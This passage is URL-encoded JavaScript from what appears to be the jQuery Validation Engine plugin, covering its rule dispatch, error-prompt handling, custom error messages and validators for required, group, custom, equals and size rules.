eTimeRange%22%3A%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+%20rules%5Bi%20+%201%5D%20+%20%22%5D%22%3B%0A%09%09%09%09%09%09options.firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09options.secondOfGroup%20%3D%20form.find%28classGroup%29.eq%281%29%3B%0A%0A%09%09%09%09%09%09//if%20one%20entry%20out%20of%20the%20pair%20has%20value%20then%20proceed%20to%20run%20through%20validation%0A%09%09%09%09%09%09if%20%28options.firstOfGroup%5B0%5D.value%20%7C%7C%20options.secondOfGroup%5B0%5D.value%29%20%7B%0A%09%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._dateTimeRange%29%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09if%20%28errorMsg%29%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22maxCheckbox%22%3A%0A%09%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._maxCheckbox%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22minCheckbox%22%3A%0A%09%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._minCheckbox%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22equals%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._equals%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22funcCall%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._funcCall%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22nameOnId%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._nameOnId%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22condRequired%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._condRequired%29%3B%0A%09%09%09%09%09%09if%20%28errorMsg%20%21%3D%3D%20undefined%29%20%7B%0A%09%09%09%09%09%09%09required%20%3D%20true%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%0A%09%09%09%09%09default%3A%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09var%20end_validation%20%3D%20false%3B%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20were%20passed%20back%20an%20message%20object%2C%20check%20what%20the%20status%20was%20to%20determine%20what%20to%20do%0A%09%09%09%09if%20%28typeof%20errorMsg%20%3D%3D%20%22object%22%29%20%7B%0A%09%09%09%09%09switch%20%28errorMsg.status%29%20%7B%0A%09%09%09%09%09%09case%20%22_break%22%3A%0A%09%09%09%09%09%09%09end_validation%20%3D%20true%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20If%20we%20have%20an%20error%20message%2C%20set%20errorMsg%20to%20the%20error%20message%0A%09%09%09%09%09%09case%20%22_error%22%3A%0A%09%09%09%09%09%09%09errorMsg%20%3D%20errorMsg.message%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20If%20we%20want%20to%20throw%20an%20error%2C%20but%20not%20show%20a%20prompt%2C%20return%20early%20with%20true%0A%09%09%09%09%09%09case%20%22_error_no_prompt%22%3A%0A%09%09%09%09%09%09%09return%20true%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%09//%20Anything%20else%20we%20continue%20on%0A%09%09%09%09%09%09default%3A%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09//%20If%20it%20has%20been%20specified%20that%20validation%20should%20end%20now%2C%20break%0A%09%09%09%09if%20%28end_validation%29%20%7B%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20have%20a%20string%2C%20that%20means%20that%20we%20have%20an%20error%2C%20so%20add%20it%20to%20the%20error%20message.%0A%09%09%09%09if%20%28typeof%20errorMsg%20%3D%3D%20%27string%27%29%20%7B%0A%09%09%09%09%09promptText%20+%3D%20errorMsg%20+%20%22%3Cbr/%3E%22%3B%0A%09%09%09%09%09options.isError%20%3D%20true%3B%0A%09%09%09%09%09field_errors++%3B%0A%09%09%09%09%7D%09%0A%09%09%09%7D%0A%09%09%09//%20If%20the%20rules%20required%20is%20not%20added%2C%20an%20empty%20field%20is%20not%20validated%0A%09%09%09if%28%21required%20%26%26%20%21%28field.val%28%29%29%20%26%26%20field.val%28%29.length%20%3C%201%29%20options.isError%20%3D%20false%3B%0A%0A%09%09%09//%20Hack%20for%20radio/checkbox%20group%20button%2C%20the%20validation%20go%20into%20the%0A%09%09%09//%20first%20radio/checkbox%20of%20the%20group%0A%09%09%09var%20fieldType%20%3D%20field.prop%28%22type%22%29%3B%0A%09%09%09var%20positionType%3Dfield.data%28%22promptPosition%22%29%20%7C%7C%20options.promptPosition%3B%0A%0A%09%09%09if%20%28%28fieldType%20%3D%3D%20%22radio%22%20%7C%7C%20fieldType%20%3D%3D%20%22checkbox%22%29%20%26%26%20form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29.size%28%29%20%3E%201%29%20%7B%0A%09%09%09%09if%28positionType%20%3D%3D%3D%20%27inline%27%29%20%7B%0A%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%5Btype%21%3Dhidden%5D%3Alast%22%29%29%3B%0A%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%5Btype%21%3Dhidden%5D%3Afirst%22%29%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%7D%0A%0A%09%09%09if%28field.is%28%22%3Ahidden%22%29%20%26%26%20options.prettySelect%29%20%7B%0A%09%09%09%09field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20methods._jqSelector%28field.attr%28%27id%27%29%29%20+%20options.useSuffix%29%3B%0A%09%09%09%7D%0A%0A%09%09%09if%20%28options.isError%20%26%26%20options.showPrompts%29%7B%0A%09%09%09%09methods._showPrompt%28field%2C%20promptText%2C%20promptType%2C%20false%2C%20options%29%3B%0A%09%09%09%7Delse%7B%0A%09%09%09%09if%20%28%21isAjaxValidator%29%20methods._closePrompt%28field%29%3B%0A%09%09%09%7D%0A%0A%09%09%09if%20%28%21isAjaxValidator%29%20%7B%0A%09%09%09%09field.trigger%28%22jqv.field.result%22%2C%20%5Bfield%2C%20options.isError%2C%20promptText%5D%29%3B%0A%09%09%09%7D%0A%0A%09%09%09/*%20Record%20error%20*/%0A%09%09%09var%20errindex%20%3D%20%24.inArray%28field%5B0%5D%2C%20options.InvalidFields%29%3B%0A%09%09%09if%20%28errindex%20%3D%3D%20-1%29%20%7B%0A%09%09%09%09if%20%28options.isError%29%0A%09%09%09%09options.InvalidFields.push%28field%5B0%5D%29%3B%0A%09%09%09%7D%20else%20if%20%28%21options.isError%29%20%7B%0A%09%09%09%09options.InvalidFields.splice%28errindex%2C%201%29%3B%0A%09%09%09%7D%0A%09%09%09%09%0A%09%09%09methods._handleStatusCssClasses%28field%2C%20options%29%3B%0A%09%0A%09%09%09/*%20run%20callback%20function%20for%20each%20field%20*/%0A%09%09%09if%20%28options.isError%20%26%26%20options.onFieldFailure%29%0A%09%09%09%09options.onFieldFailure%28field%29%3B%0A%0A%09%09%09if%20%28%21options.isError%20%26%26%20options.onFieldSuccess%29%0A%09%09%09%09options.onFieldSuccess%28field%29%3B%0A%0A%09%09%09return%20options.isError%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Handling%20css%20classes%20of%20fields%20indicating%20result%20of%20validation%20%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%27s%20validation%20rules%20%20%20%20%20%20%20%20%20%20%20%20%0A%09%09*%20@private%0A%09%09*/%0A%09%09_handleStatusCssClasses%3A%20function%28field%2C%20options%29%20%7B%0A%09%09%09/*%20remove%20all%20classes%20*/%0A%09%09%09if%28options.addSuccessCssClassToField%29%0A%09%09%09%09field.removeClass%28options.addSuccessCssClassToField%29%3B%0A%09%09%09%0A%09%09%09if%28options.addFailureCssClassToField%29%0A%09%09%09%09field.removeClass%28options.addFailureCssClassToField%29%3B%0A%09%09%09%0A%09%09%09/*%20Add%20classes%20*/%0A%09%09%09if%20%28options.addSuccessCssClassToField%20%26%26%20%21options.isError%29%0A%09%09%09%09field.addClass%28options.addSuccessCssClassToField%29%3B%0A%09%09%09%0A%09%09%09if%20%28options.addFailureCssClassToField%20%26%26%20options.isError%29%0A%09%09%09%09field.addClass%28options.addFailureCssClassToField%29%3B%09%09%0A%09%09%7D%2C%0A%09%09%0A%09%09%20/********************%0A%09%09%20%20*%20_getErrorMessage%0A%09%09%20%20*%0A%09%09%20%20*%20@param%20form%0A%09%09%20%20*%20@param%20field%0A%09%09%20%20*%20@param%20rule%0A%09%09%20%20*%20@param%20rules%0A%09%09%20%20*%20@param%20i%0A%09%09%20%20*%20@param%20options%0A%09%09%20%20*%20@param%20originalValidationMethod%0A%09%09%20%20*%20@return%20%7B*%7D%0A%09%09%20%20*%20@private%0A%09%09%20%20*/%0A%09%09%20_getErrorMessage%3Afunction%20%28form%2C%20field%2C%20rule%2C%20rules%2C%20i%2C%20options%2C%20originalValidationMethod%29%20%7B%0A%09%09%09%20//%20If%20we%20are%20using%20the%20custon%20validation%20type%2C%20build%20the%20index%20for%20the%20rule.%0A%09%09%09%20//%20Otherwise%20if%20we%20are%20doing%20a%20function%20call%2C%20make%20the%20call%20and%20return%20the%20object%0A%09%09%09%20//%20that%20is%20passed%20back.%0A%09%20%09%09%20var%20rule_index%20%3D%20jQuery.inArray%28rule%2C%20rules%29%3B%0A%09%09%09%20if%20%28rule%20%3D%3D%3D%20%22custom%22%20%7C%7C%20rule%20%3D%3D%3D%20%22funcCall%22%29%20%7B%0A%09%09%09%09%20var%20custom_validation_type%20%3D%20rules%5Brule_index%20+%201%5D%3B%0A%09%09%09%09%20rule%20%3D%20rule%20+%20%22%5B%22%20+%20custom_validation_type%20+%20%22%5D%22%3B%0A%09%09%09%09%20//%20Delete%20the%20rule%20from%20the%20rules%20array%20so%20that%20it%20doesn%27t%20try%20to%20call%20the%0A%09%09%09%20%20%20%20//%20same%20rule%20over%20again%0A%09%09%09%20%20%20%20delete%28rules%5Brule_index%5D%29%3B%0A%09%09%09%20%7D%0A%09%09%09%20//%20Change%20the%20rule%20to%20the%20composite%20rule%2C%20if%20it%20was%20different%20from%20the%20original%0A%09%09%09%20var%20alteredRule%20%3D%20rule%3B%0A%0A%0A%09%09%09%20var%20element_classes%20%3D%20%28field.attr%28%22data-validation-engine%22%29%29%20%3F%20field.attr%28%22data-validation-engine%22%29%20%3A%20field.attr%28%22class%22%29%3B%0A%09%09%09%20var%20element_classes_array%20%3D%20element_classes.split%28%22%20%22%29%3B%0A%0A%09%09%09%20//%20Call%20the%20original%20validation%20method.%20If%20we%20are%20dealing%20with%20dates%20or%20checkboxes%2C%20also%20pass%20the%20form%0A%09%09%09%20var%20errorMsg%3B%0A%09%09%09%20if%20%28rule%20%3D%3D%20%22future%22%20%7C%7C%20rule%20%3D%3D%20%22past%22%20%20%7C%7C%20rule%20%3D%3D%20%22maxCheckbox%22%20%7C%7C%20rule%20%3D%3D%20%22minCheckbox%22%29%20%7B%0A%09%09%09%09%20errorMsg%20%3D%20originalValidationMethod%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%20errorMsg%20%3D%20originalValidationMethod%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%20%7D%0A%0A%09%09%09%20//%20If%20the%20original%20validation%20method%20returned%20an%20error%20and%20we%20have%20a%20custom%20error%20message%2C%0A%09%09%09%20//%20return%20the%20custom%20message%20instead.%20Otherwise%20return%20the%20original%20error%20message.%0A%09%09%09%20if%20%28errorMsg%20%21%3D%20undefined%29%20%7B%0A%09%09%09%09%20var%20custom_message%20%3D%20methods._getCustomErrorMessage%28%24%28field%29%2C%20element_classes_array%2C%20alteredRule%2C%20options%29%3B%0A%09%09%09%09%20if%20%28custom_message%29%20errorMsg%20%3D%20custom_message%3B%0A%09%09%09%20%7D%0A%09%09%09%20return%20errorMsg%3B%0A%0A%09%09%20%7D%2C%0A%09%09%20_getCustomErrorMessage%3Afunction%20%28field%2C%20classes%2C%20rule%2C%20options%29%20%7B%0A%09%09%09var%20custom_message%20%3D%20false%3B%0A%09%09%09var%20validityProp%20%3D%20/%5Ecustom%5C%5B.*%5C%5D%24/.test%28rule%29%20%3F%20methods._validityProp%5B%22custom%22%5D%20%3A%20methods._validityProp%5Brule%5D%3B%0A%09%09%09%20//%20If%20there%20is%20a%20validityProp%20for%20this%20rule%2C%20check%20to%20see%20if%20the%20field%20has%20an%20attribute%20for%20it%0A%09%09%09if%20%28validityProp%20%21%3D%20undefined%29%20%7B%0A%09%09%09%09custom_message%20%3D%20field.attr%28%22data-errormessage-%22+validityProp%29%3B%0A%09%09%09%09//%20If%20there%20was%20an%20error%20message%20for%20it%2C%20return%20the%20message%0A%09%09%09%09if%20%28custom_message%20%21%3D%20undefined%29%20%0A%09%09%09%09%09return%20custom_message%3B%0A%09%09%09%7D%0A%09%09%09custom_message%20%3D%20field.attr%28%22data-errormessage%22%29%3B%0A%09%09%09%20//%20If%20there%20is%20an%20inline%20custom%20error%20message%2C%20return%20it%0A%09%09%09if%20%28custom_message%20%21%3D%20undefined%29%20%0A%09%09%09%09return%20custom_message%3B%0A%09%09%09var%20id%20%3D%20%27%23%27%20+%20field.attr%28%22id%22%29%3B%0A%09%09%09//%20If%20we%20have%20custom%20messages%20for%20the%20element%27s%20id%2C%20get%20the%20message%20for%20the%20rule%20from%20the%20id.%0A%09%09%09//%20Otherwise%2C%20if%20we%20have%20custom%20messages%20for%20the%20element%27s%20classes%2C%20use%20the%20first%20class%20message%20we%20find%20instead.%0A%09%09%09if%20%28typeof%20options.custom_error_messages%5Bid%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Bid%5D%5Brule%5D%20%21%3D%20%22undefined%22%20%29%20%7B%0A%09%09%09%09%09%09%20%20custom_message%20%3D%20options.custom_error_messages%5Bid%5D%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%7D%20else%20if%20%28classes.length%20%3E%200%29%20%7B%0A%09%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20classes.length%20%26%26%20classes.length%20%3E%200%3B%20i++%29%20%7B%0A%09%09%09%09%09%20var%20element_class%20%3D%20%22.%22%20+%20classes%5Bi%5D%3B%0A%09%09%09%09%09if%20%28typeof%20options.custom_error_messages%5Belement_class%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09%09%09typeof%20options.custom_error_messages%5Belement_class%5D%5Brule%5D%20%21%3D%20%22undefined%22%29%20%7B%0A%09%09%09%09%09%09%09custom_message%20%3D%20options.custom_error_messages%5Belement_class%5D%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09if%20%28%21custom_message%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Brule%5D%20%21%3D%20%22undefined%22%20%26%26%0A%09%09%09%09typeof%20options.custom_error_messages%5Brule%5D%5B%27message%27%5D%20%21%3D%20%22undefined%22%29%7B%0A%09%09%09%09%09%20custom_message%20%3D%20options.custom_error_messages%5Brule%5D%5B%27message%27%5D%3B%0A%09%09%09%20%7D%0A%09%09%09%20return%20custom_message%3B%0A%09%09%20%7D%2C%0A%09%09%20_validityProp%3A%20%7B%0A%09%09%09%20%22required%22%3A%20%22value-missing%22%2C%0A%09%09%09%20%22custom%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22groupRequired%22%3A%20%22value-missing%22%2C%0A%09%09%09%20%22ajax%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22minSize%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22maxSize%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22min%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22max%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22past%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22future%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22dateRange%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22dateTimeRange%22%3A%20%22type-mismatch%22%2C%0A%09%09%09%20%22maxCheckbox%22%3A%20%22range-overflow%22%2C%0A%09%09%09%20%22minCheckbox%22%3A%20%22range-underflow%22%2C%0A%09%09%09%20%22equals%22%3A%20%22pattern-mismatch%22%2C%0A%09%09%09%20%22funcCall%22%3A%20%22custom-error%22%2C%0A%09%09%09%20%22nameOnId%22%3A%20%22pattern-mismatch%22%2C%0A%09%09%09%20%22condRequired%22%3A%20%22value-missing%22%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Required%20validation%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@param%20%7Bbool%7D%20condRequired%20flag%20when%20method%20is%20used%20for%20internal%20purpose%20in%20condRequired%20check%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_required%3A%20function%28field%2C%20rules%2C%20i%2C%20options%2C%20condRequired%29%20%7B%0A%09%09%09switch%20%28field.prop%28%22type%22%29%29%20%7B%0A%09%09%09%09case%20%22text%22%3A%0A%09%09%09%09case%20%22password%22%3A%0A%09%09%09%09case%20%22textarea%22%3A%0A%09%09%09%09case%20%22file%22%3A%0A%09%09%09%09case%20%22select-one%22%3A%0A%09%09%09%09case%20%22select-multiple%22%3A%0A%09%09%09%09default%3A%0A%09%09%09%09%09var%20field_val%20%20%20%20%20%20%3D%20%24.trim%28%20field.val%28%29%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%09%09%09%09%09var%20dv_placeholder%20%3D%20%24.trim%28%20field.attr%28%22data-validation-placeholder%22%29%20%29%3B%0A%09%09%09%09%09var%20placeholder%20%20%20%20%3D%20%24.trim%28%20field.attr%28%22placeholder%22%29%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%3B%0A%09%09%09%09%09if%20%28%0A%09%09%09%09%09%09%20%20%20%28%20%21field_val%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%29%0A%09%09%09%09%09%09%7C%7C%20%28%20dv_placeholder%20%26%26%20field_val%20%3D%3D%20dv_placeholder%20%29%0A%09%09%09%09%09%09%7C%7C%20%28%20placeholder%20%20%20%20%26%26%20field_val%20%3D%3D%20placeholder%20%20%20%20%29%0A%09%09%09%09%09%29%20%7B%0A%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%09case%20%22radio%22%3A%0A%09%09%09%09case%20%22checkbox%22%3A%0A%09%09%09%09%09//%20new%20validation%20style%20to%20only%20check%20dependent%20field%0A%09%09%09%09%09if%20%28condRequired%29%20%7B%0A%09%09%09%09%09%09if%20%28%21field.attr%28%27checked%27%29%29%20%7B%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxMultiple%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09//%20old%20validation%20style%0A%09%09%09%09%09var%20form%20%3D%20field.closest%28%22form%2C%20.validationEngineContainer%22%29%3B%0A%09%09%09%09%09var%20name%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09%09%09if%20%28form.find%28%22input%5Bname%3D%27%22%20+%20name%20+%20%22%27%5D%3Achecked%22%29.size%28%29%20%3D%3D%200%29%20%7B%0A%09%09%09%09%09%09if%20%28form.find%28%22input%5Bname%3D%27%22%20+%20name%20+%20%22%27%5D%3Avisible%22%29.size%28%29%20%3D%3D%201%29%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxe%3B%0A%09%09%09%09%09%09else%0A%09%09%09%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertTextCheckboxMultiple%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20that%201%20from%20the%20group%20field%20is%20required%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_groupRequired%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+rules%5Bi%20+%201%5D%20+%22%5D%22%3B%0A%09%09%09var%20isValid%20%3D%20false%3B%0A%09%09%09//%20Check%20all%20fields%20from%20the%20group%0A%09%09%09field.closest%28%22form%2C%20.validationEngineContainer%22%29.find%28classGroup%29.each%28function%28%29%7B%0A%09%09%09%09if%28%21methods._required%28%24%28this%29%2C%20rules%2C%20i%2C%20options%29%29%7B%0A%09%09%09%09%09isValid%20%3D%20true%3B%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%20%0A%0A%09%09%09if%28%21isValid%29%20%7B%0A%09%09%20%20return%20options.allrules%5Brules%5Bi%5D%5D.alertText%3B%0A%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20rules%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_custom%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20customRule%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20rule%20%3D%20options.allrules%5BcustomRule%5D%3B%0A%09%09%09var%20fn%3B%0A%09%09%09if%28%21rule%29%20%7B%0A%09%09%09%09alert%28%22jqv%3Acustom%20rule%20not%20found%20-%20%22+customRule%29%3B%0A%09%09%09%09return%3B%0A%09%09%09%7D%0A%09%09%09%0A%09%09%09if%28rule%5B%22regex%22%5D%29%20%7B%0A%09%09%09%09%20var%20ex%3Drule.regex%3B%0A%09%09%09%09%09if%28%21ex%29%20%7B%0A%09%09%09%09%09%09alert%28%22jqv%3Acustom%20regex%20not%20found%20-%20%22+customRule%29%3B%0A%09%09%09%09%09%09return%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09var%20pattern%20%3D%20new%20RegExp%28ex%29%3B%0A%0A%09%09%09%09%09if%20%28%21pattern.test%28field.val%28%29%29%29%20return%20options.allrules%5BcustomRule%5D.alertText%3B%0A%09%09%09%09%09%0A%09%09%09%7D%20else%20if%28rule%5B%22func%22%5D%29%20%7B%0A%09%09%09%09fn%20%3D%20rule%5B%22func%22%5D%3B%20%0A%09%09%09%09%20%0A%09%09%09%09if%20%28typeof%28fn%29%20%21%3D%3D%20%22function%22%29%20%7B%0A%09%09%09%09%09alert%28%22jqv%3Acustom%20parameter%20%27function%27%20is%20no%20function%20-%20%22+customRule%29%3B%0A%09%09%09%09%09%09return%3B%0A%09%09%09%09%7D%0A%09%09%09%09%20%0A%09%09%09%09if%20%28%21fn%28field%2C%20rules%2C%20i%2C%20options%29%29%0A%09%09%09%09%09return%20options.allrules%5BcustomRule%5D.alertText%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09alert%28%22jqv%3Acustom%20type%20not%20allowed%20%22+customRule%29%3B%0A%09%09%09%09%09return%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validate%20custom%20function%20outside%20of%20the%20engine%20scope%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_funcCall%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20functionName%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fn%3B%0A%09%09%09if%28functionName.indexOf%28%27.%27%29%20%3E-1%29%0A%09%09%09%7B%0A%09%09%09%09var%20namespaces%20%3D%20functionName.split%28%27.%27%29%3B%0A%09%09%09%09var%20scope%20%3D%20window%3B%0A%09%09%09%09while%28namespaces.length%29%0A%09%09%09%09%7B%0A%09%09%09%09%09scope%20%3D%20scope%5Bnamespaces.shift%28%29%5D%3B%0A%09%09%09%09%7D%0A%09%09%09%09fn%20%3D%20scope%3B%0A%09%09%09%7D%0A%09%09%09else%0A%09%09%09%09fn%20%3D%20window%5BfunctionName%5D%20%7C%7C%20options.customFunctions%5BfunctionName%5D%3B%0A%09%09%09if%20%28typeof%28fn%29%20%3D%3D%20%27function%27%29%0A%09%09%09%09return%20fn%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Field%20match%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_equals%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20equalsField%20%3D%20rules%5Bi%20+%201%5D%3B%0A%0A%09%09%09if%20%28field.val%28%29%20%21%3D%20%24%28%22%23%22%20+%20equalsField%29.val%28%29%29%0A%09%09%09%09return%20options.allrules.equals.alertText%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20the%20maximum%20size%20%28in%20characters%29%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_maxSize%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20max%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20len%20%3D%20field.val%28%29.length%3B%0A%0A%09%09%09if%20%28len%20%3E%20max%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.maxSize%3B%0A%09%09%09%09return%20rule.alertText%20+%20max%20+%20rule.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20the%20minimum%20size%20%28in%20characters%29%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D